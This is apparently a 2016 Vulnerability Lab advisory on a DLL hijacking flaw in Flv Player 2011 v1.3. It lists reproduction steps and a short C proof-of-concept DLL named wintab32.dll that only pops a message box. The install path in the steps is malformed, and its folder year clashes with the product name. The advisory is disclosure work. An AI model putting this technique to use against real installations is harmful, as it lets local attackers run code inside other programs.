Flv Player 2011 v1.3 - DLL Hijacking Exploit

Document Title:
===============
Flv Player 2011 v1.3 - DLL Hijacking Exploit


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1962


Release Date:
=============
2016-09-30


Vulnerability Laboratory ID (VL-ID):
====================================
1962


Common Vulnerability Scoring System:
====================================
4.1


Product & Service Introduction:
===============================
FLV Player is a utility that you can use to play files in FLV format, a format often used for videos that are 
delivered over the Internet. Aside from FLV files, MPEG, MOV, MP4, AVI, SWF, 3GPP and 3GPP2, WMV or RM files 
can also be played by the utility. 
 
(Copy of the Vendor Homepage: http://www.reganam.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a dll hijacking exploit in the official Flv Player 2011 v1.3 software.


Vulnerability Disclosure Timeline:
==================================
2016-09-30:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Reganam
Product: Flv Player 2011 - Software 1.3


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official Flv Player 2011 v1.3 software.
The issue allows local attackers to inject code to vulnerable dynamic link libraries (dll) to compromise the process or to gain higher access privileges.

Vulnerable Software:
[+] FLV Player

Vulnerable Libraries:
[+] wintab32.dll


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to wintab32.dll 
2. Copy wintab32.dll to C:Program FilesFlvplayer2013Flv-Player.exe
3. Launch Flv-Player.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}



Security Risk:
==============
The security risk of the dll hijacking issue in the dynamic link libraries (dll) is estimated as medium. (CVSS 4.1)


Credits & Authors:
==================
ZwX - (http://zwx.fr) [http://www.vulnerability-lab.com/show.php?user=ZwX]



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=========================
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